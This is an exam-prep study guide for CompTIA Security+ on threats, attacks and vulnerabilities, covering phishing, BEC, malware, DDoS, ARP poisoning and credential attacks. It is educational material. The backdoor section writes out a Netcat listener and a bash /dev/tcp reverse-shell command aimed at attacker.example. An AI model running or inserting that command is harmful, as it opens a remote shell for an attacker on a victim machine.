CompTIA SY0-701: Threats, Attacks & Vulnerabilities — Study Guide
Part of the CompTIA Security+ SY0-701 — Complete Study Guide. Practice with verified answers in the CompTIA exam hub, or take timed practice tests on ExamRoll.io.
The modern threat landscape is defined by adversaries who blend technical exploitation with human manipulation, chain low-severity weaknesses into high-impact compromises, and disguise their activity within legitimate business processes. Understanding threats begins with understanding intent, capability, and vector — and refusing to accept the surface symptom as the full explanation.
Social Engineering and Phishing Variants
Social engineering exploits trust, urgency, authority, or curiosity rather than software flaws. Traditional phishing casts a wide net through email, sending generic lures such as fake shipping notifications or password reset requests to thousands of recipients. Spear phishing narrows the aperture, using reconnaissance from LinkedIn, corporate websites, or breach dumps to craft messages tailored to a specific individual or department. Whaling targets executives — the CFO who receives a message crafted to look like it comes from outside counsel is the classic target — because their authority enables higher-impact fraud.
Channel variants extend the same manipulation into other media. Vishing (voice phishing) uses telephone calls, often with spoofed caller ID and a pretext such as impersonating the IT help desk to extract MFA codes. Smishing uses SMS, frequently leveraging shortened URLs and mobile-specific lures (“Your package could not be delivered — reschedule here”). Because mobile browsers truncate URLs and hide certificate details, smishing has a disproportionately high success rate.
Business Email Compromise (BEC) deserves special attention because it typically involves no malware at all. An attacker who has either compromised a legitimate mailbox or spoofed a look-alike domain (accounts@vend0r-corp.com instead of accounts@vendor-corp.com) inserts themselves into a real invoice thread and redirects a wire transfer. Because the email content is contextually accurate and no attachments are present, gateway anti-malware and URL sandboxing offer little protection. The FBI’s IC3 reported BEC losses exceeding $2.9 billion in a single year, making it the highest-dollar cybercrime category by a wide margin.
A common trap is over-interpreting benign-looking symptoms. When a user submits credentials to a phishing site and receives a “page not found” error, the incident is not resolved — it is a completed credential harvest where the attacker has redirected the victim after capture. The absence of an obvious error page is a feature of the attack, not evidence of failure.
Malware Types
Malware is not a monolith. Ransomware encrypts data and demands payment, and modern variants such as Ryuk, Conti, and LockBit also exfiltrate data first for double-extortion leverage. A telltale indicator is a mass file-extension change — files renamed to .ryk, .locked, or a random string — coupled with ransom notes named README.txt or HOW_TO_DECRYPT.html in every directory.
Rootkits operate at a much deeper level, hooking kernel structures, system call tables, or firmware (bootkits, UEFI implants) to hide processes, files, and network connections from the operating system itself. Because standard tools query the kernel that the rootkit controls, tasklist or ps output cannot be trusted; detection typically requires offline forensic imaging or comparison against a known-good baseline via tools like chkrootkit or memory analysis with Volatility.
Backdoors provide persistent unauthorized access, often installed after initial compromise. They may take the form of a scheduled task that beacons out to a command-and-control server, a hardcoded credential inserted into an application, or a listening service on an obscure port. Reverse shells using tools like Netcat or Meterpreter are typical:
# Attacker listener
nc -lvnp 4444
# Victim callback (dropped by malware)
bash -i >& /dev/tcp/attacker.example/4444 0>&1
The trap here is triage tunnel-vision. An alert labeled “malware detected” that is quickly quarantined does not mean the incident is over — the initial dropper may have already established a backdoor or installed a rootkit that the endpoint agent cannot see.
Network Attacks
Distributed Denial-of-Service (DDoS) attacks aim at availability. Volumetric attacks — UDP floods, ICMP floods — consume raw bandwidth. Reflected/amplified attacks abuse third-party services that respond with larger payloads than the request; a DNS query of 60 bytes with a spoofed source address can return a 3,000-byte response, and NTP monlist or memcached amplification can achieve ratios above 50,000×. When public web services remain “up” on the server but are unreachable from the internet, and network logs show a traffic spike, the answer is almost always a DDoS saturating upstream links or state tables — not an application bug.
On-path attacks (formerly “man-in-the-middle”) place the attacker between two communicating parties. On a local network, ARP poisoning is the usual mechanism: the attacker sends unsolicited ARP replies claiming to own the gateway’s IP, so victim traffic is silently routed through the attacker’s host. Tools like ettercap or arpspoof automate this, after which the attacker can strip TLS with sslstrip or inject content.
Typosquatting registers domains that mimic legitimate ones (goggle.com, paypa1.com) to catch mistyped URLs or to serve as convincing infrastructure for phishing and BEC.
Credential Attacks
Rather than exploit code, credential attacks exploit weak authentication. Brute force attempts every possible password against one account and is loud, triggering lockout policies. Password spraying inverts the model: try one or two very common passwords (Winter2024!, Password123) against thousands of accounts, staying below the lockout threshold on any single account. This is exceptionally effective against organizations without MFA on cloud identity providers.
Credential stuffing replays username/password pairs harvested from prior breaches, exploiting password reuse across services. Because the credentials are valid on at least one service, they bypass basic authentication controls. The 2022 Okta breach began with credential stuffing against a support contractor’s account — demonstrating that even identity providers are not immune when MFA is not enforced on every privileged access path.
Pass-the-hash and pass-the-ticket attacks steal authentication material from memory rather than cracking passwords. On Windows systems, NTLM hashes stored in LSASS memory can be extracted with Mimikatz and replayed to authenticate to other systems without knowing the plaintext password. Kerberos ticket-granting tickets (TGTs) can similarly be stolen and reused. Mitigations include Credential Guard (which isolates LSASS in a virtualization-based security enclave), Protected Users security group membership, and disabling NTLM where Kerberos is available.
Practical Scenario: Ransomware via Password Spraying
A logistics company with 2,400 employees had not enforced MFA on its Microsoft 365 tenant. An attacker conducted a password spray over three days, testing the password Summer2023! against all known email addresses harvested from LinkedIn. Forty-one accounts matched. The attacker used one compromised account — a regional manager — to access the company’s VPN, which accepted M365 credentials. From the VPN, the attacker spent two weeks performing internal reconnaissance, identifying backup servers and domain controllers. On a Friday evening, LockBit ransomware was detonated across 340 servers. Recovery took 19 days and cost approximately $4.1 million including ransom, forensics, and lost revenue. The entire chain was enabled by a single missing control: MFA on the M365 tenant. Password spraying is detectable — a SIEM rule correlating failed authentications across many accounts from a single IP would have flagged it on day one.
← Identity · All domains · Network Security →
Practice these questions → · Timed practice on ExamRoll.io →
Pass the whole exam — not just this question
You found this answer. Get every verified question and explanation in one place, and save hours of prep. Free to start.
Pass your exam →